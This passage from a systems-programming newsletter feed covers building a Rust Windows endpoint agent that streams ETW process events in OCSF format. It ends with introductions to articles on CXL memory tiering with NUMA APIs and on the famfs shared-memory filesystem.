y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">ca<em>Caption: Linux eBPF and Windows ETW agents emit the same Launch shape (</em><code>type_uid</code><em> 100701, durable </em><code>process.uid</code><em>).</em></figcaption></figure></div></blockquote><blockquote><p></p><p><code>device.os.type_id</code> is <strong>100</strong> (Windows). <code>process.uid</code> keeps the Issue 02 scheme: <code>{boot_id}:{pid}:{start_time_ns}</code>. Terminate uses <code>activity_id</code> 2 &#8594; <code>type_uid</code> 100702. Image-load events use an OCSF-shaped envelope with <code>unmapped.event_kind = image_load</code> until Module 6 assigns a final class (TIER 2).</p></blockquote><h2><strong>Deliverable</strong></h2><blockquote><p><code>windows-agent.exe</code> installable as a service, streaming OCSF-shaped events. Completion criteria:</p></blockquote><ol><li><p><code>cargo test</code> passes on any host (fixture-replay path).</p></li><li><p>Replay stdout includes Launch (<code>100701</code>) with non-empty <code>process.cmd_line</code> and <code>process.uid</code>, plus at least one image-load and one Terminate (<code>100702</code>).</p></li><li><p>You can state why Kernel-Process alone is insufficient for command lines and which session flag/provider fills the gap.</p></li><li><p>On a Windows Reader VM, service install steps are documented even if the live ETW decode loop is still being verified (TIER 2).</p></li></ol><h2><strong>Implementation notes</strong></h2><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!qWb9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!qWb9!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png 424w, /__u/substackcdn.com/image/fetch/$s_!qWb9!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png 848w, /__u/substackcdn.com/image/fetch/$s_!qWb9!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png 1272w, /__u/substackcdn.com/image/fetch/$s_!qWb9!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!qWb9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png" width="1456" height="1226" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1226,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:547824,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/210333312?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!qWb9!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png 424w, /__u/substackcdn.com/image/fetch/$s_!qWb9!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png 848w, /__u/substackcdn.com/image/fetch/$s_!qWb9!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png 1272w, /__u/substackcdn.com/image/fetch/$s_!qWb9!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4ff855b-07c2-472f-a20f-677bbe104e9c_3648x3072.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><blockquote><p>Workspace: <code>agent-windows/</code> with <code>--mode replay|live|service</code>. Replay reads <code>fixtures/exec-events.jsonl</code>. Live and service features compile only on Windows.</p><p>Encoder helpers (verbatim from <code>agent-windows/src/ocsf.rs</code>):</p></blockquote><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;rust&quot;,&quot;nodeId&quot;:&quot;0a546e1c-8466-481f-a8a3-45dc61485644&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-rust">pub fn type_uid_launch() -&gt; i32 {
    1007 * 100 + 1 // process_activity Launch &#8594; 100701
}

pub fn type_uid_terminate() -&gt; i32 {
    1007 * 100 + 2 // process_activity Terminate &#8594; 100702
}

pub fn process_uid(boot_id: &amp;str, pid: u32, start_time_ns: u64) -&gt; String {
    format!("{boot_id}:{pid}:{start_time_ns}")
}
</code></pre></div><blockquote><p>Check current <code>windows</code> crate versions on <a href="https://crates.io/crates/windows">crates.io</a> at build time; this issue references <strong>windows 0.62.x</strong> (published 2025-10). Live <code>StartTrace</code> packing is Reader-VM verified (TIER 2) &#8212; see the implementation guide.</p><p><strong>Limitation:</strong> Fixture cmdline is authoritative in replay. Live mode must correlate system-logger cmdline with Kernel-Process start records; mismatched clocks or dropped buffers produce starts without <code>cmd_line</code> &#8212; treat empty cmdline as a collection defect, not a detection miss.</p></blockquote><h1><strong>Implementation guide Windows Agent (ETW):</strong></h1><h2>Github Link:</h2><p><strong><a href="https://github.com/sysdr/production-xdr-edr-p/tree/main/v03-windows-agent-etw">https://github.com/sysdr/production-xdr-edr-p/tree/main/v03-windows-agent-etw</a></strong></p><blockquote><p>Keep this guide open while building. Design rationale is in <code>docs/issue-notes/03-windows-agent-etw.md</code>.</p></blockquote><h2><strong>Prerequisites</strong></h2><p><strong>ItemNotes</strong>Prior tagRepo through <code>v02-linux-agent-ebpf</code>RustStable <code>cargo</code> / <code>rustc</code>ReplayAny host (macOS/Linux/Windows)Live ETWWindows 10/11 or Server lab VM, AdministratorCrates<code>windows</code> <strong>0.62.x</strong> (crates.io 2025-10 &#8212; re-check at build time); <code>sha2</code>, <code>windows-service</code> for Lab 3</p><h2><strong>Sandbox / CI / Reader VM</strong></h2><p><strong>StepSandbox / CIReader machine (Windows)</strong><code>cargo test</code>Full (fixture-replay)Full<code>--mode replay</code>FullFull<code>--mode live</code> + ETW sessionNot availableAdmin; dual-provider decode TIER 2<code>--mode service</code> / <code>sc.exe</code>Not availableLab 3Minifilter driverOut of scopeLater modules</p><h2><strong>Step 1 &#8212; Build and test on any host</strong></h2><pre><code><code>cd agent-windows
cargo test
cargo run -- --mode replay --fixture fixtures/exec-events.jsonl
</code></code></pre><blockquote><p>Expected: JSON lines with <code>type_uid</code> 100701 (Launch), 100702 (Terminate), image-load <code>unmapped.event_kind</code>, non-empty <code>process.cmd_line</code> on starts, <code>hash_cache</code> stderr stats.</p></blockquote><h2><strong>Step 2 &#8212; Confirm OCSF parity with Linux</strong></h2><blockquote><p>Compare a Launch object from Issue 02 replay to Issue 03 replay:</p></blockquote><ul><li><p>Same: <code>class_uid</code> 1007, <code>type_uid</code> 100701, <code>process.uid</code> scheme, <code>actor.process</code>, <code>severity_id</code> 1</p></li><li><p>Differs: <code>device.os.type</code> / <code>type_id</code> (200 vs 100), <code>metadata.product.name</code></p></li></ul><h2><strong>Step 3 &#8212; Hash cache lab</strong></h2><blockquote><p>Run replay twice in one process (already single pass with repeated image paths in fixtures). Confirm <code>hash_cache hits&#8805;1</code> on stderr when the same DLL path hashes twice.</p><p>Files:</p></blockquote><ul><li><p><code>agent-windows/src/main.rs</code></p></li><li><p><code>agent-windows/src/ocsf.rs</code></p></li><li><p><code>agent-windows/src/hash_cache.rs</code></p></li><li><p><code>agent-windows/src/replay.rs</code></p></li><li><p><code>agent-windows/src/types.rs</code></p></li><li><p><code>agent-windows/src/etw.rs</code> (Windows + <code>live-etw</code>)</p></li><li><p><code>agent-windows/src/service.rs</code> (Windows + <code>service</code>)</p></li><li><p><code>agent-windows/fixtures/exec-events.jsonl</code></p></li></ul><h2><strong>Step 4 &#8212; (Reader VM) Live ETW &#8212; TIER 2</strong></h2><pre><code><code>cargo run --features live-etw -- --mode live
</code></code></pre><blockquote><p>Wire <code>StartTrace</code> with system logger mode + <code>EVENT_TRACE_FLAG_PROCESS</code> for cmdline, and <code>EnableTraceEx2</code> for <code>Microsoft-Windows-Kernel-Process</code> <code>{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}</code>. Decode with TDH; correlate cmdline to starts by PID + create time. The shipped <code>etw.rs</code> returns a structured error until that loop is verified on your VM &#8212; replace the body, keep the dual-provider comments.</p></blockquote><h2><strong>Step 5 &#8212; (Reader VM) Service install (Lab 3)</strong></h2><pre><code><code>cargo build --release --features service
# From an elevated prompt (adjust path):
sc.exe create SystemdrdWindowsAgent binPath= "C:\path\to\windows-agent.exe --mode service"
sc.exe start SystemdrdWindowsAgent
</code></code></pre><blockquote><p>Stop/delete when finished:</p></blockquote><pre><code><code>sc.exe stop SystemdrdWindowsAgent
sc.exe delete SystemdrdWindowsAgent
</code></code></pre><h2><strong>Website demo link:<br></strong></h2><div id="youtube2-oWuhTxREaD8" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;oWuhTxREaD8&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/oWuhTxREaD8?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2><strong>Verify the deliverable</strong></h2><blockquote><p>Curriculum: <strong>windows-agent.exe installable as a service, streaming OCSF-shaped events</strong>.</p></blockquote><ul><li><p>Replay streams OCSF Launch/Terminate + image-load envelopes</p></li><li><p>Unit tests pass without Windows</p></li><li><p>Cmdline source design documented (system logger / dual-provider)</p></li><li><p>Service install steps documented; live decode marked TIER 2 until VM-green</p></li><li><p>SHA256 cache implemented</p></li></ul><h2><strong>Common errors</strong></h2><blockquote><p><code>live mode requires Windows + --features live-etw</code> &#8212; expected on macOS/CI; use replay.</p><p><strong>Events without </strong><code>cmd_line</code><strong> in a live session</strong> &#8212; session likely missing system logger / <code>EVENT_TRACE_FLAG_PROCESS</code>; do not blame Sigma conversion yet.</p><p><strong>Access denied on StartTrace</strong> &#8212; need Administrator; prefer service for long-lived sessions.</p></blockquote><h2><strong>Tag</strong></h2><pre><code><code>git add -A
git commit -m "Issue 03: windows-agent ETW process events + fixture replay"
git tag v03-windows-agent-etw</code></code></pre><h2><strong>Labs</strong></h2><ol><li><p>Replay fixtures; confirm parent PID, command line, image path, and SHA256 on Launch events.</p></li><li><p>Confirm image-load lines appear for DLLs under the same <code>process.uid</code> as the owning process.</p></li><li><p>On Windows, build with <code>--features service</code>, document <code>sc.exe create</code> / <code>start</code> for <code>SystemdrdWindowsAgent</code>, and note admin requirements for kernel sessions.</p></li></ol><h2><strong>Next issue</strong></h2><blockquote><p>Issue 04 brings macOS via Endpoint Security Framework. Phase A completes when all three OS agents emit this unified OCSF Launch shape &#8212; entitlement and real Apple hardware (or a cloud Mac) become the next environment gate.</p></blockquote><div><hr></div><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Utilizing NUMA Tools to Optimize Data Movement Across CXL-Attached Nodes]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/utilizing-numa-tools-to-optimize</link><guid isPermaLink="false">https://howtech.substack.com/p/utilizing-numa-tools-to-optimize</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Wed, 26 Aug 2026 08:02:16 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!iBko!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Every general-purpose kernel eventually has to answer an uncomfortable question: what happens when memory stops being uniform? For two decades, &#8220;NUMA&#8221; meant a handful of DRAM pools hanging off different sockets, a few hundred nanoseconds apart, and a scheduler that mostly tried not to make things worse. CXL changes the shape of the problem. A CXL Type-3 memory expander shows up to Linux as a NUMA node with memory and no CPUs attached to it &#8212; real, addressable, <code>move_pages()</code>-reachable DRAM (or slower media) sitting one interconnect hop further away than the memory on your local socket. The kernel&#8217;s NUMA machinery, built for &#8220;near vs. far,&#8221; now has to do &#8220;near vs. far vs. more-but-slower,&#8221; and it has to make that decision continuously, cheaply, and without you noticing.</p><p>This lesson builds a hotness-driven page tiering engine in C, using the same kernel-facing APIs a memory-tiering allocator would use &#8212; <code>mbind(2)</code>, <code>move_pages(2)</code>, and the <code>libnuma</code> policy layer &#8212; to migrate pages between a fast tier and a CXL-attached capacity tier based on observed access patterns. Along the way we hit two real defects during development: a data race caught by ThreadSanitizer, and a second, more interesting bug that ThreadSanitizer, AddressSanitizer, and Valgrind all missed entirely &#8212; a logic error in the demotion predicate that silently inverted the tiering policy. Both are preserved here exactly as found, with the actual sanitizer output and the actual mismatch counts, because that&#8217;s more useful to you than a sanitized retelling.</p><p>This entry continues the series&#8217; work on heterogeneous memory: it shares DNA with the [Data Movement in Disaggregated Memory] article&#8217;s batching discipline and the [HMM Core Internals / GPU Page Migration] article&#8217;s page-migration mechanics, but the subject here is different &#8212; this is about the kernel&#8217;s <em>policy</em> for deciding which pages belong on which tier, not about the mechanics of copying bytes across an interconnect.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!iBko!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!iBko!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png 424w, /__u/substackcdn.com/image/fetch/$s_!iBko!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png 848w, /__u/substackcdn.com/image/fetch/$s_!iBko!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png 1272w, /__u/substackcdn.com/image/fetch/$s_!iBko!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!iBko!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png" width="1456" height="1230" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1230,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:821534,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/211977051?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!iBko!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png 424w, /__u/substackcdn.com/image/fetch/$s_!iBko!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png 848w, /__u/substackcdn.com/image/fetch/$s_!iBko!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png 1272w, /__u/substackcdn.com/image/fetch/$s_!iBko!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F472fe95b-da33-43e2-82c6-c81b56bb21b6_4050x3420.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>
      <p>
          <a href="/__u/howtech.substack.com/p/utilizing-numa-tools-to-optimize">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Programming with Famfs: Accessing Multi-Terabyte Memory Objects as POSIX Files]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/programming-with-famfs-accessing</link><guid isPermaLink="false">https://howtech.substack.com/p/programming-with-famfs-accessing</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Mon, 24 Aug 2026 08:02:12 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!fM6d!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Every subsystem this series has covered so far &#8212; <code>thermal_pressure</code> load balancing, io_uring&#8217;s ring semantics, disaggregated-memory DMA, HMM page migration &#8212; has been about making a scarce or awkward resource behave predictably under concurrency. Famfs is about a different kind of scarcity: address space and metadata overhead when the &#8220;storage&#8221; is actually byte-addressable memory, sometimes terabytes of it, sitting on a CXL fabric or a set of DAX-capable NVDIMMs, shared by more than one host.</p><p>The problem famfs solves is deceptively narrow: let an application <code>open()</code>, <code>mmap()</code>, and <code>read()</code> a multi-terabyte memory region the same way it would any other file, without forcing that memory through the page cache, without paying per-inode metadata costs designed for spinning disks, and &#8212; critically &#8212; without pretending a second host attached to the same physical memory doesn&#8217;t exist. This lesson builds a userspace model of famfs&#8217;s two load-bearing pieces &#8212; the extent allocator and the metadata log &#8212; validates it under the full sanitizer gauntlet, and walks through two real bugs the demo surfaced: one a textbook TSan-catchable race, the other a bug that is real by the C memory model but structurally invisible to any single-process sanitizer, and that this specific x86-64 run could not reproduce even after 150,000 log commits &#8212; for reasons this lesson explains rather than hand-waves past.</p><h2>2. Historical Background</h2><p>Memory-mapped files are as old as <code>mmap(2)</code> itself, and shared memory (<code>shmget</code>, <code>/dev/shm</code>, <code>memfd_create</code>) has long let processes share DRAM through a file-like handle. What changed is the arrival of Compute Express Link (CXL) 2.0/3.0 memory pooling and switching: a host can now attach to memory that lives on a shared fabric, is addressable at cacheline granularity, but does not belong to any single host&#8217;s local NUMA topology, and can be attached &#8212; read-only or read-write &#8212; by multiple independent hosts at once.</p><p><code>/dev/dax</code> character devices already exposed persistent-memory-class hardware for direct, page-cache-bypassing access, and <code>DAX</code> (Direct Access) filesystem mode on ext4/XFS already let mmap&#8217;d file ranges resolve straight to PMEM pages. Famfs (originated as an open-source project, with active upstream kernel driver work) took the next step: instead of requiring a conventional filesystem&#8217;s inode tree, journal, and block allocator machinery &#8212; designed around the assumption that storage is slow and scarce relative to DRAM &#8212; famfs treats the entire dax-backed region as one flat extent space with a minimal superblock and an append-only metadata log, and lets <em>any</em> attached host reconstruct the file namespace by replaying that log. No host-to-host RPC, no distributed lock manager for the common case: metadata propagates the same way the data does, through the shared memory itself.</p><p>This lesson doesn&#8217;t have CXL-capable hardware to attach to, so the demo below models the same design in ordinary anonymous shared memory (<code>MAP_SHARED | MAP_ANONYMOUS</code>) split across processes with <code>fork()</code>. Every structural property that matters &#8212; a shared bitmap allocator, a single-writer/multi-reader log, cross-process visibility rules &#8212; is preserved; only the physical medium changes.</p><p>It&#8217;s worth being precise about what &#8220;physical medium changes&#8221; actually means for the argument this lesson makes. A real CXL-attached host and a <code>fork()</code>&#8216;d child process both share exactly one property that matters here: neither is inside the same sanitizer-instrumented address space as the other party it&#8217;s racing with. A <code>fork()</code>&#8216;d child gets its own copy of the parent&#8217;s TSan/ASan runtime state, and a second CXL host obviously runs its own separate kernel and its own separate instance of any userspace race detector. That shared property &#8212; not the hardware underneath it &#8212; is what makes the log-commit bug in Section 8 structurally invisible to a single-process tool, and it&#8217;s why modeling the bug with <code>fork()</code> over anonymous shared memory is not a simplification of the real problem; it&#8217;s the same problem, minus the fabric.</p><h3>Comparison with adjacent approaches</h3><p>It helps to place famfs against the three things practitioners reach for first when they hear &#8220;share a huge memory region as files&#8221;:</p><ul><li><p><code>tmpfs</code> is RAM-backed and file-like, but it is still routed through the ordinary page cache and VFS inode machinery, and it has no concept of a second host attaching to the same backing pages &#8212; it&#8217;s a single-host construct by design.</p></li><li><p><strong>A raw </strong><code>/dev/dax</code><strong> character device</strong> gives you page-cache-bypassing mmap of persistent or CXL memory, but no namespace at all: one device node, one giant range, no way to say &#8220;byte range A is <code>dataset.bin</code> and byte range B is <code>checkpoint.bin</code>&#8220; without building that bookkeeping yourself on top.</p></li><li><p><strong>A distributed filesystem or object store</strong> solves the multi-host namespace problem but reintroduces a network hop and serialization cost for metadata operations that famfs is specifically trying to avoid by publishing metadata through the same shared memory the data lives in.</p></li></ul><p>Famfs sits in the gap those three leave open: dax-class performance, a real file namespace, and multi-host metadata propagation without an RPC round trip.</p><h2>3. Systems-Level Problem</h2><p>Three things get uncomfortable at multi-terabyte scale using conventional filesystem primitives:</p><p><strong>Metadata overhead.</strong> A traditional filesystem allocates and journals inode and extent-tree metadata per file, sized for the assumption that storage capacity vastly exceeds memory capacity and files number in the millions. When the &#8220;disk&#8221; is DRAM- or CXL-class memory and a single &#8220;file&#8221; is itself hundreds of gigabytes, that per-file bookkeeping becomes 